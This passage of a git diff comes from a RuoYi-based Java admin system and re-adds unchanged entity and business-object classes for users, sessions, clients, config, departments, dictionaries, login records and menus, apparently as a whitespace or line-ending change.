菜单树选择项是否关联显示( 0:父子不互相关联显示 1:父子互相关联显示) + */ + private Boolean menuCheckStrictly; + /** + * 状态(0正常 1停用) + */ + private String status; + /** + * 删除标志(0代表存在 2代表删除) + */ + @TableLogic + private String delFlag; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUser.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUser.java index c1610d5..0a53f25 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUser.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUser.java @@ -1,153 +1,153 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.*; -import com.fasterxml.jackson.annotation.JsonFormat; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.tenant.core.TenantEntity; - -import java.math.BigDecimal; -import java.util.Date; - -/** - * 用户对象 sys_user - * - * @author Lion Li - */ - -@Data -@NoArgsConstructor -@EqualsAndHashCode(callSuper = true) -@TableName("sys_user") -public class SysUser extends TenantEntity { - - /** - * 用户ID - */ - @TableId(value = "user_id") - private Long userId; - - /** - * 部门ID - */ - private Long deptId; - - /** - * 用户账号 - */ - private String userName; - - /** - * 用户昵称 - */ - private String nickName; - - /** - * 真实姓名 - */ - private String realName; - - /** - * 身份(1=员工,2=技术,3=客服,4=分图员) - */ - private Integer identity; - - /** - * 擅长类型 - */ - private String type; - - /** - * 工龄 - */ - @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") - private Date year; - - /** - * 工种 - */ - private Long work; - - /** - * 拆单 - */ - private BigDecimal yue; - - /** - * 用户类型(sys_user系统用户) - */ - private String userType; - - /** - * 用户邮箱 - */ - private String email; - - /** - * 手机号码 - */ - private String phonenumber; - - /** - * 用户性别 - */ - private String sex; - - /** - * 用户头像 - */ - private Long avatar; - - /** - * 密码 - */ - @TableField( - insertStrategy = FieldStrategy.NOT_EMPTY, - updateStrategy = FieldStrategy.NOT_EMPTY, - whereStrategy = FieldStrategy.NOT_EMPTY - ) - private String password; - - /** - * 帐号状态(0正常 1停用) - */ - private String status; - - /** - * 删除标志(0代表存在 2代表删除) - */ - @TableLogic - private String delFlag; - - /** - * 最后登录IP - */ - private String loginIp; - - /** - * 最后登录时间 - */ - private Date loginDate; - - /** - * 备注 - */ - private String remark; - - /** - * 是否分图员 1:是 0:否 - */ - private Integer isFty; - - - public SysUser(Long userId) { - this.userId = userId; - } - - public boolean isSuperAdmin() { - return SystemConstants.SUPER_ADMIN_ID.equals(this.userId); - } - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.tenant.core.TenantEntity; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 用户对象 sys_user + * + * @author Lion Li + */ + +@Data +@NoArgsConstructor +@EqualsAndHashCode(callSuper = true) +@TableName("sys_user") +public class SysUser extends TenantEntity { + + /** + * 用户ID + */ + @TableId(value = "user_id") + private Long userId; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 用户账号 + */ + private String userName; + + /** + * 用户昵称 + */ + private String nickName; + + /** + * 真实姓名 + */ + private String realName; + + /** + * 身份(1=员工,2=技术,3=客服,4=分图员) + */ + private Integer identity; + + /** + * 擅长类型 + */ + private String type; + + /** + * 工龄 + */ + @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") + private Date year; + + /** + * 工种 + */ + private Long work; + + /** + * 拆单 + */ + private BigDecimal yue; + + /** + * 用户类型(sys_user系统用户) + */ + private String userType; + + /** + * 用户邮箱 + */ + private String email; + + /** + * 手机号码 + */ + private String phonenumber; + + /** + * 用户性别 + */ + private String sex; + + /** + * 用户头像 + */ + private Long avatar; + + /** + * 密码 + */ + @TableField( + insertStrategy = FieldStrategy.NOT_EMPTY, + updateStrategy = FieldStrategy.NOT_EMPTY, + whereStrategy = FieldStrategy.NOT_EMPTY + ) + private String password; + + /** + * 帐号状态(0正常 1停用) + */ + private String status; + + /** + * 删除标志(0代表存在 2代表删除) + */ + @TableLogic + private String delFlag; + + /** + * 最后登录IP + */ + private String loginIp; + + /** + * 最后登录时间 + */ + private Date loginDate; + + /** + * 备注 + */ + private String remark; + + /** + * 是否分图员 1:是 0:否 + */ + private Integer isFty; + + + public SysUser(Long userId) { + this.userId = userId; + } + + public boolean isSuperAdmin() { + return SystemConstants.SUPER_ADMIN_ID.equals(this.userId); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserOnline.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserOnline.java index ba30eb6..8dae1de 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserOnline.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserOnline.java @@ -1,63 +1,63 @@ -package org.dromara.system.domain; - -import lombok.Data; - -/** - * 当前在线会话 - * - * @author Lion Li - */ -@Data -public class SysUserOnline { - - /** - * 会话编号 - */ - private String tokenId; - - /** - * 部门名称 - */ - private String deptName; - - /** - * 用户名称 - */ - private String userName; - - /** - * 客户端 - */ - private String clientKey; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * 登录IP地址 - */ - private String ipaddr; - - /** - * 登录地址 - */ - private String loginLocation; - - /** - * 浏览器类型 - */ - private String browser; - - /** - * 操作系统 - */ - private String os; - - /** - * 登录时间 - */ - private Long loginTime; - -} +package org.dromara.system.domain; + +import lombok.Data; + +/** + * 当前在线会话 + * + * @author Lion Li + */ +@Data +public class SysUserOnline { + + /** + * 会话编号 + */ + private String tokenId; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 用户名称 + */ + private String userName; + + /** + * 客户端 + */ + private String clientKey; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * 登录IP地址 + */ + private String ipaddr; + + /** + * 登录地址 + */ + private String loginLocation; + + /** + * 浏览器类型 + */ + private String browser; + + /** + * 操作系统 + */ + private String os; + + /** + * 登录时间 + */ + private Long loginTime; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserPost.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserPost.java index 119c117..11da884 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserPost.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserPost.java @@ -1,29 +1,29 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -/** - * 用户和岗位关联 sys_user_post - * - * @author Lion Li - */ - -@Data -@TableName("sys_user_post") -public class SysUserPost { - - /** - * 用户ID - */ - @TableId(type = IdType.INPUT) - private Long userId; - - /** - * 岗位ID - */ - private Long postId; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +/** + * 用户和岗位关联 sys_user_post + * + * @author Lion Li + */ + +@Data +@TableName("sys_user_post") +public class SysUserPost { + + /** + * 用户ID + */ + @TableId(type = IdType.INPUT) + private Long userId; + + /** + * 岗位ID + */ + private Long postId; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserRole.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserRole.java index 0a50e80..b1737e3 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserRole.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysUserRole.java @@ -1,29 +1,29 @@ -package org.dromara.system.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import lombok.Data; - -/** - * 用户和角色关联 sys_user_role - * - * @author Lion Li - */ - -@Data -@TableName("sys_user_role") -public class SysUserRole { - - /** - * 用户ID - */ - @TableId(type = IdType.INPUT) - private Long userId; - - /** - * 角色ID - */ - private Long roleId; - -} +package org.dromara.system.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; + +/** + * 用户和角色关联 sys_user_role + * + * @author Lion Li + */ + +@Data +@TableName("sys_user_role") +public class SysUserRole { + + /** + * 用户ID + */ + @TableId(type = IdType.INPUT) + private Long userId; + + /** + * 角色ID + */ + private Long roleId; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysClientBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysClientBo.java index 359607a..00cde0b 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysClientBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysClientBo.java @@ -1,81 +1,81 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysClient; - -import java.util.List; - -/** - * 授权管理业务对象 sys_client - * - * @author Michelle.Chung - * @date 2023-05-15 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysClient.class, reverseConvertGenerate = false) -public class SysClientBo extends BaseEntity { - - /** - * id - */ - @NotNull(message = "id不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 客户端id - */ - private String clientId; - - /** - * 客户端key - */ - @NotBlank(message = "客户端key不能为空", groups = { AddGroup.class, EditGroup.class }) - private String clientKey; - - /** - * 客户端秘钥 - */ - @NotBlank(message = "客户端秘钥不能为空", groups = { AddGroup.class, EditGroup.class }) - private String clientSecret; - - /** - * 授权类型 - */ - @NotNull(message = "授权类型不能为空", groups = { AddGroup.class, EditGroup.class }) - private List grantTypeList; - - /** - * 授权类型 - */ - private String grantType; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * token活跃超时时间 - */ - private Long activeTimeout; - - /** - * token固定超时时间 - */ - private Long timeout; - - /** - * 状态(0正常 1停用) - */ - private String status; - - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysClient; + +import java.util.List; + +/** + * 授权管理业务对象 sys_client + * + * @author Michelle.Chung + * @date 2023-05-15 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysClient.class, reverseConvertGenerate = false) +public class SysClientBo extends BaseEntity { + + /** + * id + */ + @NotNull(message = "id不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 客户端id + */ + private String clientId; + + /** + * 客户端key + */ + @NotBlank(message = "客户端key不能为空", groups = { AddGroup.class, EditGroup.class }) + private String clientKey; + + /** + * 客户端秘钥 + */ + @NotBlank(message = "客户端秘钥不能为空", groups = { AddGroup.class, EditGroup.class }) + private String clientSecret; + + /** + * 授权类型 + */ + @NotNull(message = "授权类型不能为空", groups = { AddGroup.class, EditGroup.class }) + private List grantTypeList; + + /** + * 授权类型 + */ + private String grantType; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * token活跃超时时间 + */ + private Long activeTimeout; + + /** + * token固定超时时间 + */ + private Long timeout; + + /** + * 状态(0正常 1停用) + */ + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysConfigBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysConfigBo.java index 257935d..21b25e1 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysConfigBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysConfigBo.java @@ -1,59 +1,59 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysConfig; - -/** - * 参数配置业务对象 sys_config - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysConfig.class, reverseConvertGenerate = false) -public class SysConfigBo extends BaseEntity { - - /** - * 参数主键 - */ - private Long configId; - - /** - * 参数名称 - */ - @NotBlank(message = "参数名称不能为空") - @Size(min = 0, max = 100, message = "参数名称不能超过{max}个字符") - private String configName; - - /** - * 参数键名 - */ - @NotBlank(message = "参数键名不能为空") - @Size(min = 0, max = 100, message = "参数键名长度不能超过{max}个字符") - private String configKey; - - /** - * 参数键值 - */ - @NotBlank(message = "参数键值不能为空") - @Size(min = 0, max = 500, message = "参数键值长度不能超过{max}个字符") - private String configValue; - - /** - * 系统内置(Y是 N否) - */ - private String configType; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysConfig; + +/** + * 参数配置业务对象 sys_config + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysConfig.class, reverseConvertGenerate = false) +public class SysConfigBo extends BaseEntity { + + /** + * 参数主键 + */ + private Long configId; + + /** + * 参数名称 + */ + @NotBlank(message = "参数名称不能为空") + @Size(min = 0, max = 100, message = "参数名称不能超过{max}个字符") + private String configName; + + /** + * 参数键名 + */ + @NotBlank(message = "参数键名不能为空") + @Size(min = 0, max = 100, message = "参数键名长度不能超过{max}个字符") + private String configKey; + + /** + * 参数键值 + */ + @NotBlank(message = "参数键值不能为空") + @Size(min = 0, max = 500, message = "参数键值长度不能超过{max}个字符") + private String configValue; + + /** + * 系统内置(Y是 N否) + */ + private String configType; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDeptBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDeptBo.java index 762c268..e73a6a8 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDeptBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDeptBo.java @@ -1,96 +1,96 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.Email; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysDept; - -/** - * 部门业务对象 sys_dept - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysDept.class, reverseConvertGenerate = false) -public class SysDeptBo extends BaseEntity { - - /** - * 部门id - */ - private Long deptId; - - /** - * 父部门ID - */ - private Long parentId; - - /** - * 部门名称 - */ - @NotBlank(message = "部门名称不能为空") - @Size(min = 0, max = 30, message = "部门名称长度不能超过{max}个字符") - private String deptName; - - /** - * 部门类别编码 - */ - @Size(min = 0, max = 100, message = "部门类别编码长度不能超过{max}个字符") - private String deptCategory; - - /** - * 显示顺序 - */ - @NotNull(message = "显示顺序不能为空") - private Integer orderNum; - - /** - * 负责人 - */ - private Long leader; - - /** - * 联系电话 - */ - @Size(min = 0, max = 11, message = "联系电话长度不能超过{max}个字符") - private String phone; - - /** - * 邮箱 - */ - @Email(message = "邮箱格式不正确") - @Size(min = 0, max = 50, message = "邮箱长度不能超过{max}个字符") - private String email; - - /** - * 部门状态(0正常 1停用) - */ - private String status; - - /** - * 月份(格式:2023-03) - */ - private String month; - - /** - * 开始时间 - */ - private String startTime; - - /** - * 结束时间 - */ - private String endTime; - - /** - * 是否有值 1:有值,0:无值 - */ - private Integer isNull; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.Email; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysDept; + +/** + * 部门业务对象 sys_dept + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysDept.class, reverseConvertGenerate = false) +public class SysDeptBo extends BaseEntity { + + /** + * 部门id + */ + private Long deptId; + + /** + * 父部门ID + */ + private Long parentId; + + /** + * 部门名称 + */ + @NotBlank(message = "部门名称不能为空") + @Size(min = 0, max = 30, message = "部门名称长度不能超过{max}个字符") + private String deptName; + + /** + * 部门类别编码 + */ + @Size(min = 0, max = 100, message = "部门类别编码长度不能超过{max}个字符") + private String deptCategory; + + /** + * 显示顺序 + */ + @NotNull(message = "显示顺序不能为空") + private Integer orderNum; + + /** + * 负责人 + */ + private Long leader; + + /** + * 联系电话 + */ + @Size(min = 0, max = 11, message = "联系电话长度不能超过{max}个字符") + private String phone; + + /** + * 邮箱 + */ + @Email(message = "邮箱格式不正确") + @Size(min = 0, max = 50, message = "邮箱长度不能超过{max}个字符") + private String email; + + /** + * 部门状态(0正常 1停用) + */ + private String status; + + /** + * 月份(格式:2023-03) + */ + private String month; + + /** + * 开始时间 + */ + private String startTime; + + /** + * 结束时间 + */ + private String endTime; + + /** + * 是否有值 1:有值,0:无值 + */ + private Integer isNull; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictDataBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictDataBo.java index 0f8f2a5..7feabb1 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictDataBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictDataBo.java @@ -1,79 +1,79 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysDictData; - -/** - * 字典数据业务对象 sys_dict_data - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysDictData.class, reverseConvertGenerate = false) -public class SysDictDataBo extends BaseEntity { - - /** - * 字典编码 - */ - private Long dictCode; - - /** - * 字典排序 - */ - private Integer dictSort; - - /** - * 字典标签 - */ - @NotBlank(message = "字典标签不能为空") - @Size(min = 0, max = 100, message = "字典标签长度不能超过{max}个字符") - private String dictLabel; - - /** - * 字典键值 - */ - @NotBlank(message = "字典键值不能为空") - @Size(min = 0, max = 100, message = "字典键值长度不能超过{max}个字符") - private String dictValue; - - /** - * 字典类型 - */ - @NotBlank(message = "字典类型不能为空") - @Size(min = 0, max = 100, message = "字典类型长度不能超过{max}个字符") - private String dictType; - - /** - * 样式属性(其他样式扩展) - */ - @Size(min = 0, max = 100, message = "样式属性长度不能超过{max}个字符") - private String cssClass; - - /** - * 表格回显样式 - */ - private String listClass; - - /** - * 是否默认(Y是 N否) - */ - private String isDefault; - - /** - * 创建部门 - */ - private Long createDept; - - /** - * 备注 - */ - private String remark; - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysDictData; + +/** + * 字典数据业务对象 sys_dict_data + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysDictData.class, reverseConvertGenerate = false) +public class SysDictDataBo extends BaseEntity { + + /** + * 字典编码 + */ + private Long dictCode; + + /** + * 字典排序 + */ + private Integer dictSort; + + /** + * 字典标签 + */ + @NotBlank(message = "字典标签不能为空") + @Size(min = 0, max = 100, message = "字典标签长度不能超过{max}个字符") + private String dictLabel; + + /** + * 字典键值 + */ + @NotBlank(message = "字典键值不能为空") + @Size(min = 0, max = 100, message = "字典键值长度不能超过{max}个字符") + private String dictValue; + + /** + * 字典类型 + */ + @NotBlank(message = "字典类型不能为空") + @Size(min = 0, max = 100, message = "字典类型长度不能超过{max}个字符") + private String dictType; + + /** + * 样式属性(其他样式扩展) + */ + @Size(min = 0, max = 100, message = "样式属性长度不能超过{max}个字符") + private String cssClass; + + /** + * 表格回显样式 + */ + private String listClass; + + /** + * 是否默认(Y是 N否) + */ + private String isDefault; + + /** + * 创建部门 + */ + private Long createDept; + + /** + * 备注 + */ + private String remark; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictTypeBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictTypeBo.java index fcc1ac1..66df832 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictTypeBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysDictTypeBo.java @@ -1,50 +1,50 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.Pattern; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.constant.RegexConstants; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysDictType; - -/** - * 字典类型业务对象 sys_dict_type - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysDictType.class, reverseConvertGenerate = false) -public class SysDictTypeBo extends BaseEntity { - - /** - * 字典主键 - */ - private Long dictId; - - /** - * 字典名称 - */ - @NotBlank(message = "字典名称不能为空") - @Size(min = 0, max = 100, message = "字典类型名称长度不能超过{max}个字符") - private String dictName; - - /** - * 字典类型 - */ - @NotBlank(message = "字典类型不能为空") - @Size(min = 0, max = 100, message = "字典类型类型长度不能超过{max}个字符") - @Pattern(regexp = RegexConstants.DICTIONARY_TYPE, message = "字典类型必须以字母开头,且只能为(小写字母,数字,下滑线)") - private String dictType; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.Pattern; +import jakarta.validation.constraints.Size; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.constant.RegexConstants; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.system.domain.SysDictType; + +/** + * 字典类型业务对象 sys_dict_type + * + * @author Michelle.Chung + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = SysDictType.class, reverseConvertGenerate = false) +public class SysDictTypeBo extends BaseEntity { + + /** + * 字典主键 + */ + private Long dictId; + + /** + * 字典名称 + */ + @NotBlank(message = "字典名称不能为空") + @Size(min = 0, max = 100, message = "字典类型名称长度不能超过{max}个字符") + private String dictName; + + /** + * 字典类型 + */ + @NotBlank(message = "字典类型不能为空") + @Size(min = 0, max = 100, message = "字典类型类型长度不能超过{max}个字符") + @Pattern(regexp = RegexConstants.DICTIONARY_TYPE, message = "字典类型必须以字母开头,且只能为(小写字母,数字,下滑线)") + private String dictType; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysLogininforBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysLogininforBo.java index 1cbe129..91dafd7 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysLogininforBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysLogininforBo.java @@ -1,87 +1,87 @@ -package org.dromara.system.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.system.domain.SysLogininfor; - -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 系统访问记录业务对象 sys_logininfor - * - * @author Michelle.Chung - */ - -@Data -@AutoMapper(target = SysLogininfor.class, reverseConvertGenerate = false) -public class SysLogininforBo { - - /** - * 访问ID - */ - private Long infoId; - - /** - * 租户编号 - */ - private String tenantId; - - /** - * 用户账号 - */ - private String userName; - - /** - * 客户端 - */ - private String clientKey; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * 登录IP地址 - */ - private String ipaddr; - - /** - * 登录地点 - */ - private String loginLocation; - - /** - * 浏览器类型 - */ - private String browser; - - /** - * 操作系统 - */ - private String os; - - /** - * 登录状态(0成功 1失败) - */ - private String status; - - /** - * 提示消息 - */ - private String msg; - - /** - * 访问时间 - */ - private Date loginTime; - - /** - * 请求参数 - */ - private Map params = new HashMap<>(); - - -} +package org.dromara.system.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.system.domain.SysLogininfor; + +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 系统访问记录业务对象 sys_logininfor + * + * @author Michelle.Chung + */ + +@Data +@AutoMapper(target = SysLogininfor.class, reverseConvertGenerate = false) +public class SysLogininforBo { + + /** + * 访问ID + */ + private Long infoId; + + /** + * 租户编号 + */ + private String tenantId; + + /** + * 用户账号 + */ + private String userName; + + /** + * 客户端 + */ + private String clientKey; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * 登录IP地址 + */ + private String ipaddr; + + /** + * 登录地点 + */ + private String loginLocation; + + /** + * 浏览器类型 + */ + private String browser; + + /** + * 操作系统 + */ + private String os; + + /** + * 登录状态(0成功 1失败) + */ + private String status; + + /** + * 提示消息 + */ + private String msg; + + /** + * 访问时间 + */ + private Date loginTime; + + /** + * 请求参数 + */ + private Map params = new HashMap<>(); + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysMenuBo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysMenuBo.java index fbaafaa..90b9854 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysMenuBo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/bo/SysMenuBo.java @@ -1,110 +1,110 @@ -package org.dromara.system.domain.bo; - -import com.fasterxml.jackson.annotation.JsonInclude; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import jakarta.validation.constraints.Pattern; -import jakarta.validation.constraints.Size; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.constant.RegexConstants; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.system.domain.SysMenu; - -/** - * 菜单权限业务对象 sys_menu - * - * @author Michelle.Chung - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = SysMenu.class, reverseConvertGenerate = false) -public class SysMenuBo extends BaseEntity { - - /** - * 菜单ID - */ - private Long menuId; - - /** - * 父菜单ID - */ - private Long parentId; - - /** - * 菜单名称 - */ - @NotBlank(message = "菜单名称不能为空") - @Size(min = 0, max = 50, message = "菜单名称长度不能超过{max}个字符") - private String menuName; - - /** - * 显示顺序 - */ - @NotNull(message = "显示顺序不能为空") - private Integer orderNum; - - /** - * 路由地址 - */ - @Size(min = 0, max = 200, message = "路由地址不能超过{max}个字符") - private String path; - - /** - * 组件路径 - */ - @Size(min = 0, max = 200, message = "组件路径不能超过{max}个字符") - private String component; - - /** - * 路由参数 - */ - private String queryParam; - - /** - * 是否为外链(0是 1否) - */ - private String isFrame; - - /** - * 是否缓存(0缓存 1不缓存) - */ - private String isCache; - - /** - * 菜单类型(M目录 C菜单 F按钮) - */ - @NotBlank(message = "菜单类型不能为空") - private String menuType; - - /** - * 显示状态(0显示 1隐藏) - */ - private String visible; - - /** - * 菜单状态(0正常 1停用) - */ - private String status; - - /** - * 权限标识 - */ - @JsonInclude(JsonInclude.Include.NON_NULL) - @Size(min = 0, max = 100, message = "权限标识长度不能超过{max}个字符") - @Pattern(regexp = RegexConstants.PERMISSION_STRING, message = "权限标识必须符合 tool:build:list 格式") - private String perms; - - /** - * 菜单图标 - */ - private String icon; - - /** - * 备注 - */ - private String remark; - -} +package org.dromara.system.domain.bo; + +import com.fasterxml.jackson.annotation.JsonInclude; +import 